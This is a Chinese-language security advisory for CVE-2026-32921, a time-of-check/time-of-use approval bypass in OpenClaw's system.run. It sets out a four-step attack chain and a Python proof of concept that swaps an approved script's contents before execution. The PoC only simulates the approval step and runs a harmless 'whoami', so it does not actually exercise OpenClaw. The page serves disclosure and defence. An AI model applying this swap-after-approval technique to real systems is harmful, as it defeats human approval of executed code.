IPBUF安全漏洞报告
English
CVE-2026-32921 CVSS 6.3 中危

CVE-2026-32921 OpenClaw审批绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-32921
漏洞类型
审批绕过
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

审批绕过OpenClawTOCTOU代码执行

漏洞概述

OpenClaw在2026.3.8之前的版本中存在审批绕过漏洞。该漏洞源于system.run功能中,可变脚本操作数未在审批和执行阶段之间进行绑定。攻击者可利用此漏洞获取脚本执行审批,随后在执行前修改已批准的脚本文件,从而在保持已批准命令形状不变的情况下执行不同的恶意内容。

技术细节

该漏洞的核心在于OpenClaw的`system.run`组件在处理脚本执行请求时,未能正确锁定脚本操作数,导致存在TOCTOU(Time-of-Check to Time-of-Use)竞态条件。正常流程应先审批脚本内容,再执行该特定内容。但在受影响版本中,审批阶段仅记录了命令的“形状”或结构,而未绑定脚本文件的实际内容。攻击者首先提交一个看似无害的脚本并获取审批。在审批通过后、系统实际执行前的这一时间窗口内,攻击者修改脚本文件的内容。由于系统仅校验命令形状,修改后的恶意脚本仍被视为已批准,从而被系统执行。

攻击链分析

STEP 1
步骤1:脚本准备
攻击者创建一个脚本文件,初始填充无害的内容(如系统检查命令)。
STEP 2
步骤2:获取审批
攻击者通过OpenClaw提交脚本执行请求(system.run),由于内容看似无害,管理员或自动策略批准了该请求的命令形状。
STEP 3
步骤3:内容替换
在审批通过后但在实际执行前的短暂时间窗口内,攻击者利用文件写入权限,将脚本文件内容替换为恶意代码。
STEP 4
步骤4:恶意执行
OpenClaw系统执行已批准的命令形状,读取文件时发现路径未变但内容已变,导致恶意代码在受信任的上下文中运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-32921 # This script demonstrates the race condition in OpenClaw before 2026.3.8 import os import time # Configuration script_path = "/tmp/openclaw_payload.sh" approved_command = "system.run /tmp/openclaw_payload.sh" def exploit_openclaw(): # Step 1: Create a benign script to pass approval print("[+] Creating benign script for approval...") benign_content = "#!/bin/bash\necho 'System maintenance check...'" with open(script_path, "w") as f: f.write(benign_content) os.chmod(script_path, 0o755) # Step 2: Request execution (Simulating the approval phase) print(f"[*] Requesting execution approval for: {approved_command}") # Assume the admin approves this request here print("[+] Request approved by administrator (Simulated).") # Step 3: Modify the script content before execution (The Exploit) print("[*] Swapping script content with malicious payload before execution...") malicious_content = "#!/bin/bash\necho 'pwned' && whoami" with open(script_path, "w") as f: f.write(malicious_content) # Step 4: System executes the approved shape, but runs the new content print("[*] System executing the approved command...") os.system(f"bash {script_path}") if __name__ == "__main__": exploit_openclaw()

影响范围

OpenClaw < 2026.3.8

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应限制对system.run相关脚本目录的写入权限,或者实施文件完整性监控(FIM)以防止文件在审批后被篡改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表